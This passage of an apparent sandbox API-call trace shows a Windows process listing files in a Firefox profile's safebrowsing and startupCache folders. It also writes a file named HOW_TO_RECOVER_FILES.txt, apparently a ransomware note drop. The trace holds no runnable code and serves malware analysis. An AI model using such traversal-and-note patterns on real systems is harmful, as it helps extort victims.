ftLastWriteTime.dwLowDateTime=0x3cb9ee8b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-malware-shavar.pset", cAlternateFileName="GOOG-M~1.PSE")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c988c26, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c988c26, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ca93c89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x87d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-malware-shavar.sbstore", cAlternateFileName="GOOG-M~1.SBS")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce9e878, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ce9e878, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cea36a7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x50d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-phish-shavar.pset", cAlternateFileName="GOOG-P~1.PSE")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ccf624f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3ccf624f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cdb4ed0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4b542, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-phish-shavar.sbstore", cAlternateFileName="GOOG-P~1.SBS")) returned 1 [0218.123] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1ad183, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42c02, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-unwanted-shavar.pset", cAlternateFileName="GOOG-U~1.PSE")) returned 1 [0218.123] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cfe3506, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cfe3506, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d07be6b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d686, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-unwanted-shavar.sbstore", cAlternateFileName="GOOG-U~1.SBS")) returned 1 [0218.123] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6ca0d5e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozplugin-block-digest256.pset", cAlternateFileName="MOZPLU~1.PSE")) returned 1 [0218.123] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozplugin-block-digest256.sbstore", cAlternateFileName="MOZPLU~1.SBS")) returned 1 [0218.123] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x640c7a3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozstd-trackwhite-digest256.pset", cAlternateFileName="MOZSTD~1.PSE")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x63bfa55, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x55810, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozstd-trackwhite-digest256.sbstore", cAlternateFileName="MOZSTD~1.SBS")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-block-simple.pset", cAlternateFileName="TEST-B~1.PSE")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-block-simple.sbstore", cAlternateFileName="TEST-B~1.SBS")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flash-simple.pset", cAlternateFileName="TEST-F~1.PSE")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f84110, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flash-simple.sbstore", cAlternateFileName="TEST-F~1.SBS")) returned 1 [0218.124] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashallow-simple.pset", cAlternateFileName="TEST-F~2.PSE")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashallow-simple.sbstore", cAlternateFileName="TEST-F~2.SBS")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashsubdoc-simple.pset", cAlternateFileName="TEST-F~3.PSE")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashsubdoc-simple.sbstore", cAlternateFileName="TEST-F~3.SBS")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.pset", cAlternateFileName="TEST-M~1.PSE")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8d21a28, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1 [0218.125] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.pset", cAlternateFileName="TEST-P~1.PSE")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-track-simple.pset", cAlternateFileName="TEST-T~1.PSE")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-track-simple.sbstore", cAlternateFileName="TEST-T~1.SBS")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-trackwhite-simple.pset", cAlternateFileName="TEST-T~2.PSE")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-trackwhite-simple.sbstore", cAlternateFileName="TEST-T~2.SBS")) returned 1 [0218.126] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-unwanted-simple.pset", cAlternateFileName="TEST-U~1.PSE")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-unwanted-simple.sbstore", cAlternateFileName="TEST-U~1.SBS")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flash-simple.pset", cAlternateFileName="TESTEX~1.PSE")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flash-simple.sbstore", cAlternateFileName="TESTEX~1.SBS")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashallow-simple.pset", cAlternateFileName="TESTEX~2.PSE")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashallow-simple.sbstore", cAlternateFileName="TESTEX~2.SBS")) returned 1 [0218.127] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9127a7a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashsubdoc-simple.pset", cAlternateFileName="TESTEX~3.PSE")) returned 1 [0218.128] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashsubdoc-simple.sbstore", cAlternateFileName="TESTEX~3.SBS")) returned 1 [0218.128] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashsubdoc-simple.sbstore", cAlternateFileName="TESTEX~3.SBS")) returned 0 [0218.128] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0218.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0218.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0218.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0218.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edd60) returned 1 [0218.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0218.132] GetFileType (hFile=0x834) returned 0x1 [0218.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcd0) returned 1 [0218.132] GetFileType (hFile=0x834) returned 0x1 [0218.133] WriteFile (in: hFile=0x834, lpBuffer=0x3723fc8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ede28, lpOverlapped=0x0 | out: lpBuffer=0x3723fc8*, lpNumberOfBytesWritten=0x209ede28*=0x5d0, lpOverlapped=0x0) returned 1 [0218.134] CloseHandle (hObject=0x834) returned 1 [0218.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0218.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache", lpFilePart=0x0) returned 0x54 [0218.135] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0219.095] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.095] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47587596, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47587596, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x475ad7ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptCache-child-current.bin", cAlternateFileName="SCRIPT~2.BIN")) returned 1 [0219.095] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47561304, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47561304, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47561304, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x478118, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptCache-current.bin", cAlternateFileName="SCRIPT~1.BIN")) returned 1 [0219.095] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486a7e6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x486a7e6a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629b81be, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44bcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.8.little", cAlternateFileName="STARTU~1.LIT")) returned 1 [0219.095] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.096] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0219.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0219.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0219.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0219.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: 